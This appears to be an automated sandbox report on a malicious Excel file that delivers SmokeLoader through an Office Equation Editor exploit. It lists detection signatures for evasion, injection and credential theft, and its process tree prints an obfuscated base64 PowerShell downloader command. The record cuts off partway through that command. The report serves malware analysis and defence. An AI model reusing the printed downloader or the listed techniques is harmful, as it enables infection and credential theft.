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#20240627_Edlen_A.xls
Overview
General Information
| Sample name: | #20240627_Edlen_A.xls |
| Analysis ID: | 1448086 |
| MD5: | 74cb59a86f4df8375836fd2bc3bbfd08 |
| SHA1: | 11745387b652df3e64697fc430d207251fb70fdd |
| SHA256: | 72701fd89271a881e14bfb170ee86d28f5c08fdb73f1be8c6904337c102bf7d7 |
| Tags: | xls |
| Infos: |   |
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Detection
SmokeLoader
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Antivirus detection for dropped file
Benign windows process drops PE files
Found malware configuration
Malicious sample detected (through community Yara rule)
Microsoft Office launches external ms-search protocol handler (WebDAV)
Multi AV Scanner detection for domain / URL
Sigma detected: EQNEDT32.EXE connecting to internet
Sigma detected: File Dropped By EQNEDT32EXE
Sigma detected: Powershell download and load assembly
Sigma detected: Powershell download payload from hardcoded c2 list
Snort IDS alert for network traffic
System process connects to network (likely due to code injection or exploit)
Yara detected Powershell download and execute
Yara detected SmokeLoader
Bypasses PowerShell execution policy
C2 URLs / IPs found in malware configuration
Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))
Checks if browser processes are running
Checks if the current machine is a virtual machine (disk enumeration)
Connects to a pastebin service (likely for C&C)
Contains functionality to compare user and computer (likely to detect sandboxes)
Creates a thread in another existing process (thread injection)
Document exploit detected (process start blacklist hit)
Excel sheet contains many unusual embedded objects
Found evasive API chain (may stop execution after checking mutex)
Hides that the sample has been downloaded from the Internet (zone.identifier)
Injects a PE file into a foreign processes
Injects code into the Windows Explorer (explorer.exe)
Installs new ROOT certificates
Maps a DLL or memory area into another process
Microsoft Office drops suspicious files
Office equation editor establishes network connection
Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)
Office viewer loads remote template
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Equation Editor Network Connection
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Script Initiated Connection to Non-Local Network
Sigma detected: Suspicious Microsoft Office Child Process
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Very long command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Yara detected Generic Downloader
Allocates memory with a write watch (potentially for evading sandboxes)
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Checks if the current process is being debugged
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to query CPU information (cpuid)
Contains functionality to retrieve information about pressed keystrokes
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Deletes files inside the Windows folder
Detected potential crypto function
Document contains Microsoft Equation 3.0 OLE entries
Document misses a certain OLE stream usually present in this Microsoft Office document type
Dropped file seen in connection with other malware
Drops PE files
Drops files with a non-matching file extension (content does not match file extension)
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Office Equation Editor has been started
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for user specific document files
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Excel Network Connections
Sigma detected: Execution of Suspicious File Type Extension
Sigma detected: Script Initiated Connection
Sigma detected: Suspicious Office Outbound Connections
Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Stores large binary data to the registry
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match
Classification
- System is w7x64
EXCEL.EXE (PID: 2772 cmdline: "C:\Progra m Files\Mi crosoft Of fice\Offic e14\EXCEL. EXE" /auto mation -Em bedding MD5: D53B85E21886D2AF9815C377537BCAC3) 
WINWORD.EXE (PID: 1020 cmdline: "C:\Progra m Files\Mi crosoft Of fice\Offic e14\WINWOR D.EXE" -Em bedding MD5: 9EE74859D22DAE61F1750B3A1BACB6F5) 
EQNEDT32.EXE (PID: 3348 cmdline: "C:\Progra m Files\Co mmon Files \Microsoft Shared\EQ UATION\EQN EDT32.EXE" -Embeddin g MD5: A87236E214F6D42A65F5DEDAC816AEC8) 
wscript.exe (PID: 3420 cmdline: "C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\liona rekingofju ngleimages he.vbs" MD5: 979D74799EA6C8B8167869A68DF5204A) 
powershell.exe (PID: 3520 cmdline: "C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command " $codigo = 'ZgB1DgTre G4DgTreYwB 0DgTreGkDg TrebwBuDgT reCDgTreDg TreRDgTreB vDgTreHcDg TrebgBsDgT reG8DgTreY QBkDgTreEQ DgTreYQB0D gTreGEDgTr eRgByDgTre G8DgTrebQB MDgTreGkDg TrebgBrDgT reHMDgTreI DgTreB7DgT reCDgTreDg TrecDgTreB hDgTreHIDg TreYQBtDgT reCDgTreDg TreKDgTreB bDgTreHMDg TredDgTreB yDgTreGkDg TrebgBnDgT reFsDgTreX QBdDgTreCQ DgTrebDgTr eBpDgTreG4 DgTreawBzD gTreCkDgTr eIDgTreDgT rekDgTreHc DgTreZQBiD gTreEMDgTr ebDgTreBpD gTreGUDgTr ebgB0DgTre CDgTreDgTr ePQDgTregD gTreE4DgTr eZQB3DgTre C0DgTreTwB iDgTreGoDg TreZQBjDgT reHQDgTreI DgTreBTDgT reHkDgTrec wB0DgTreGU DgTrebQDgT reuDgTreE4 DgTreZQB0D gTreC4DgTr eVwBlDgTre GIDgTreQwB sDgTreGkDg TreZQBuDgT reHQDgTreO wDgTregDgT reCQDgTreZ DgTreBvDgT reHcDgTreb gBsDgTreG8 DgTreYQBkD gTreGUDgTr eZDgTreBED gTreGEDgTr edDgTreBhD gTreCDgTre DgTrePQDgT regDgTreED gTreDgTreK DgTreDgTre pDgTreDsDg TreIDgTreD gTrekDgTre HMDgTreaDg TreB1DgTre GYDgTreZgB sDgTreGUDg TreZDgTreB MDgTreGkDg TrebgBrDgT reHMDgTreI DgTreDgTre 9DgTreCDgT reDgTreJDg TreBsDgTre GkDgTrebgB rDgTreHMDg TreIDgTreB 8DgTreCDgT reDgTreRwB lDgTreHQDg TreLQBSDgT reGEDgTreb gBkDgTreG8 DgTrebQDgT regDgTreC0 DgTreQwBvD gTreHUDgTr ebgB0DgTre CDgTreDgTr eJDgTreBsD gTreGkDgTr ebgBrDgTre HMDgTreLgB MDgTreGUDg TrebgBnDgT reHQDgTrea DgTreDgTre 7DgTreCDgT reDgTreZgB vDgTreHIDg TreZQBhDgT reGMDgTrea DgTreDgTre gDgTreCgDg TreJDgTreB sDgTreGkDg TrebgBrDgT reCDgTreDg TreaQBuDgT reCDgTreDg TreJDgTreB zDgTreGgDg TredQBmDgT reGYDgTreb DgTreBlDgT reGQDgTreT DgTreBpDgT reG4DgTrea wBzDgTreCk DgTreIDgTr eB7DgTreCD gTreDgTred DgTreByDgT reHkDgTreI DgTreB7DgT reCDgTreDg TreJDgTreB kDgTreG8Dg TredwBuDgT reGwDgTreb wBhDgTreGQ DgTreZQBkD gTreEQDgTr eYQB0DgTre GEDgTreIDg TreDgTrerD gTreD0DgTr eIDgTreDgT rekDgTreHc DgTreZQBiD gTreEMDgTr ebDgTreBpD gTreGUDgTr ebgB0DgTre C4DgTreRDg TreBvDgTre HcDgTrebgB sDgTreG8Dg TreYQBkDgT reEQDgTreY QB0DgTreGE DgTreKDgTr eDgTrekDgT reGwDgTrea QBuDgTreGs DgTreKQDgT regDgTreH0 DgTreIDgTr eBjDgTreGE DgTredDgTr eBjDgTreGg DgTreIDgTr eB7DgTreCD gTreDgTreY wBvDgTreG4 DgTredDgTr eBpDgTreG4 DgTredQBlD gTreCDgTre DgTrefQDgT regDgTreH0 DgTreOwDgT regDgTreHI DgTreZQB0D gTreHUDgTr ecgBuDgTre CDgTreDgTr eJDgTreBkD gTreG8DgTr edwBuDgTre GwDgTrebwB hDgTreGQDg TreZQBkDgT reEQDgTreY QB0DgTreGE DgTreIDgTr eB9DgTreDs DgTreIDgTr eDgTrekDgT reGwDgTrea QBuDgTreGs DgTrecwDgT regDgTreD0 DgTreIDgTr eBDgTreDgT reCgDgTreJ wBoDgTreHQ DgTredDgTr eBwDgTreHM DgTreOgDgT revDgTreC8 DgTredQBwD gTreGwDgTr ebwBhDgTre GQDgTreZDg TreBlDgTre GkDgTrebQB hDgTreGcDg TreZQBuDgT reHMDgTreL gBjDgTreG8 DgTrebQDgT reuDgTreGI DgTrecgDgT revDgTreGk DgTrebQBhD gTreGcDgTr eZQBzDgTre C8DgTreMDg TreDgTrewD